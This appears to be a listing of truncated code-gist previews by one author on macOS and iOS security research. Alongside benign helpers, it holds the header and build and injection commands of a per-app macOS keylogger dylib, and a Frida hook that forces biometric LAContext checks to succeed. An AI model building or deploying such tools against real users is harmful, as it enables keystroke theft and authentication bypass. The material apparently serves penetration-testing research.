r3ggi

// code based on Scott Knight's blog post: https://knight.sc/reverse%20engineering/2019/04/15/detecting-task-modifications.html
// WARNING: this approach is insecure - do not rely on audit_token retrieved from PID!!!

#import <Foundation/Foundation.h>
#include <libproc.h>
#include <mach/mach.h>

audit_token_t auditTokenForPid(pid_t pid) {
    task_name_t task;
    mach_msg_type_number_t size = TASK_AUDIT_TOKEN_COUNT;

r3ggi

// Native ArrayBuffer to Base64
// https://gist.github.com/jonleighton/958841
function base64ArrayBuffer(arrayBuffer) {
    var base64    = ''
    var encodings = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'

    var bytes         = new Uint8Array(arrayBuffer)
    var byteLength    = bytes.byteLength
    var byteRemainder = byteLength % 3
    var mainLength    = byteLength - byteRemainder

r3ggi

// Info:
// Universal macOS keylogger that tracks input locations. It's injected per app as it doesn't require having global keyboard capturing permission

// Compilation:
// gcc -dynamiclib /tmp/keylogger.m -o /tmp/keylogger.dylib -framework Foundation -framework Appkit -arch x86_64 -arch arm64

// Usage:
// DYLD_INSERT_LIBRARIES=/tmp/keylogger.dylib /path/to/app/Contents/MacOS/App

#import <Foundation/Foundation.h>

r3ggi

// Flutter keyboard cache verifier - Frida script for iOS
// Script based on https://codeshare.frida.re/@ay-kay/ios-custom-keyboard-support/

function resolveAutocorrectionType(typeNr) {
    switch (parseInt(typeNr, 10)) {
        case 1:
            return "UITextAutocorrectionTypeNo"
            break;
        case 2:
            return "UITextAutocorrectionTypeYes"

r3ggi

wget --no-check-certificate --recursive --domains=opensource.apple.com --no-clobber --accept "*.gz" --no-parent -l2 https://opensource.apple.com/tarballs
wget --no-check-certificate --recursive --domains=opensource.apple.com --no-clobber --accept "*.gz" -l2 https://opensource.apple.com/
wget --no-check-certificate --recursive --domains=opensource.apple.com --no-clobber --accept "*.gz" --no-parent -l3 https://opensource.apple.com/darwinbuild/

r3ggi

if(ObjC.available) {
    console.log("Injecting...");
    var hook = ObjC.classes.LAContext["- evaluatePolicy:localizedReason:reply:"];
    Interceptor.attach(hook.implementation, {
        onEnter: function(args) {
            var block = new ObjC.Block(args[4]);
            const callback = block.implementation;
            block.implementation = function (error, value)  {

                console.log("Changing the result value to true")

r3ggi

@IBAction func startVerification(_ sender: Any) {
        let myContext = LAContext()
        let myLocalizedReasonString = "Verifying...."
        var authError: NSError?
        
        if myContext.canEvaluatePolicy(.deviceOwnerAuthenticationWithBiometrics, error: &authError) {
            myContext.evaluatePolicy(.deviceOwnerAuthenticationWithBiometrics, localizedReason: myLocalizedReasonString) { (success, evaluateError) in
                DispatchQueue.main.async {
                    if success {
                        self.verificationStatusLabel.text = "✅ Verification successful"